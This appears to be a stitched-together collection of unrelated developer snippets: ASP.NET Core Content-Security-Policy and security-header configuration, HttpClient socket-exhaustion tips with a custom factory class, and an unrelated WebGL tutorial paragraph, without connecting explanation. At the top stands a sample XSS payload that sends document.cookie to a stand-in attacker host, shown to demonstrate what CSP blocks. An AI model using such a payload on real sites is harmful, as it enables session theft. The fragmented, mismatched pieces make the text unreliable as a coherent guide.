Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

using(var client = new HttpClient())
{
   // do something with http client
}

 Unable to connect to the remote server
System.Net.Sockets.SocketException: Only one usage of each socket address (protocol/network address/port) is normally permitted.

using (var client = new HttpClient())
{
       var result = await client.GetAsync("http://example.com/");
}

for (int i = 0; i < 10; i++)
{
      using (var client = new HttpClient())
      {
            var result = await client.GetAsync("http://example.com/");
            Console.WriteLine(result.StatusCode);
      }
}

  TCP    192.168.1.6:13996      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:13997      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:13998      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:13999      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14000      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14001      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14002      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14003      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14004      93.184.216.34:http     TIME_WAIT
  TCP    192.168.1.6:14005      93.184.216.34:http     TIME_WAIT

 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\TcpTimedWaitDelay]

CancelPendingRequests
DeleteAsync
GetAsync
GetByteArrayAsync
GetStreamAsync
GetStringAsync
PostAsync
PutAsync
SendAsync

BaseAddress
DefaultRequestHeaders
MaxResponseContentBufferSize
Timeout

var sp = ServicePointManager.FindServicePoint(new Uri("http://thisisasample.com"));
sp.ConnectionLeaseTimeout = 60*1000; //In milliseconds

using System;
using System.Collections.Generic;
using System.Net.Http;

namespace HttpClientTips
{
    public interface IHttpClientFactory : IDisposable
    {
        HttpClient GetOrCreate(
            Uri baseAddress,
            IDictionary<string, string> defaultRequestHeaders = null,
            TimeSpan? timeout = null,
            long? maxResponseContentBufferSize = null,
            HttpMessageHandler handler = null);
    }
}

using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Net;
using System.Net.Http;
using System.Threading;

namespace HttpClientTips
{
    /// <summary>
    /// Lifetime of this class should be set to `Singleton`.
    /// </summary>
    public class HttpClientFactory : IHttpClientFactory
    {
        // 'GetOrAdd' call on the dictionary is not thread safe and we might end up creating the HttpClient more than
        // once. To prevent this Lazy<> is used. In the worst case multiple Lazy<> objects are created for multiple
        // threads but only one of the objects succeeds in creating the HttpClient.
        private readonly ConcurrentDictionary<Uri, Lazy<HttpClient>> _httpClients =
                         new ConcurrentDictionary<Uri, Lazy<HttpClient>>();
        private const int ConnectionLeaseTimeout = 60 * 1000; // 1 minute

        public HttpClientFactory()
        {
            // Default is 2 minutes: https://msdn.microsoft.com/en-us/library/system.net.servicepointmanager.dnsrefreshtimeout(v=vs.110).aspx
            ServicePointManager.DnsRefreshTimeout = (int)TimeSpan.FromMinutes(1).TotalMilliseconds;
            // Increases the concurrent outbound connections
            ServicePointManager.DefaultConnectionLimit = 1024;
        }

        public HttpClient GetOrCreate(
           Uri baseAddress,
           IDictionary<string, string> defaultRequestHeaders = null,
           TimeSpan? timeout = null,
           long? maxResponseContentBufferSize = null,
           HttpMessageHandler handler = null)
        {
            return _httpClients.GetOrAdd(baseAddress,
                             uri => new Lazy<HttpClient>(() =>
                             {
                                 // Reusing a single HttpClient instance across a multi-threaded application means
                                 // you can't change the values of the stateful properties (which are not thread safe),
                                 // like BaseAddress, DefaultRequestHeaders, MaxResponseContentBufferSize and Timeout.
                                 // So you can only use them if they are constant across your application and need their own instance if being varied.
                                 var client = handler == null ? new HttpClient { BaseAddress = baseAddress } :
                                               new HttpClient(handler, disposeHandler: false) { BaseAddress = baseAddress };
                                 setRequestTimeout(timeout, client);
                                 setMaxResponseBufferSize(maxResponseContentBufferSize, client);
                                 setDefaultHeaders(defaultRequestHeaders, client);
                                 setConnectionLeaseTimeout(baseAddress, client);
                                 return client;
                             },
                             LazyThreadSafetyMode.ExecutionAndPublication)).Value;
        }

        public void Dispose()
        {
            foreach (var httpClient in _httpClients.Values)
            {
                httpClient.Value.Dispose();
            }
        }

        private static void setConnectionLeaseTimeout(Uri baseAddress, HttpClient client)
        {
            // This ensures connections are used efficiently but not indefinitely.
            client.DefaultRequestHeaders.ConnectionClose = false; // keeps the connection open -> more efficient use of the client
            ServicePointManager.FindServicePoint(baseAddress).ConnectionLeaseTimeout = ConnectionLeaseTimeout; // ensures connections are not used indefinitely.
        }

        private static void setDefaultHeaders(IDictionary<string, string> defaultRequestHeaders, HttpClient client)
        {
            if (defaultRequestHeaders == null)
            {
                return;
            }
            foreach (var item in defaultRequestHeaders)
            {
                client.DefaultRequestHeaders.Add(item.Key, item.Value);
            }
        }

        private static void setMaxResponseBufferSize(long? maxResponseContentBufferSize, HttpClient client)
        {
            if (maxResponseContentBufferSize.HasValue)
            {
                client.MaxResponseContentBufferSize = maxResponseContentBufferSize.Value;
            }
        }

        private static void setRequestTimeout(TimeSpan? timeout, HttpClient client)
        {
            if (timeout.HasValue)
            {
                client.Timeout = timeout.Value;
            }
        }
    }
}

namespace HttpClientTips.Web
{
    public class Startup
    {
        public void ConfigureServices(IServiceCollection services)
        {
            services.AddSingleton<IHttpClientFactory, HttpClientFactory>();
            services.AddMvc();
        }

namespace HttpClientTips.Web.Controllers
{
    public class HomeController : Controller
    {
        private readonly IHttpClientFactory _httpClientFactory;
        public HomeController(IHttpClientFactory httpClientFactory)
        {
            _httpClientFactory = httpClientFactory;
        }

        public async Task<IActionResult> Index()
        {
            var host = new Uri("http://localhost:5000");
            var httpClient = _httpClientFactory.GetOrCreate(host);
            var responseMessage = await httpClient.GetAsync("home/about").ConfigureAwait(false);
            var responseContent = await responseMessage.Content.ReadAsStringAsync().ConfigureAwait(false);
            return Content(responseContent);
        }

WebGL is an in-browser 3D renderer based on OpenGL, which lets you display your 3D content directly into an HTML5 page. Throughout this series I will cover all the essentials you need to get started using this framework. We'll start with an introduction, then we'll be building on to the framework that we used in part one as well as adding a model importer and a custom class for 3D objects. You will also be introduced to animation and controls. Lastly, we’ll take a look at lighting and adding 2D objects to your scene.